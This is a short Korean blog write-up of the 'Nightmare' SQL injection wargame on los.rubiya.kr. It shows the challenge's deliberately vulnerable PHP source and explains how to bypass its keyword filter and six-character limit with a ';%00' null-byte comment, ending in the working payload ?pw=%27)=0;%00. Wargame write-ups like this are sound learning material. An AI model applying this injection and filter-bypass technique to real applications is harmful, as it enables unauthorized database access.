[WARGAME] los.rubiya.kr - Nightmare

2022. 8. 14. 23:20정보보안/CTFLOG

반응형
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

#주석을 이용하지 못한다.

따라서 다른 방법을 이용해서 우회해야한다.

 

바로 ;%00이다. %00은 NULL이지만 앞에 세미콜론이 붙으면 주석역할을 한다.

 

따라서 

 

?pw=%27)=0;%00

를 입력하면 해결된다.

반응형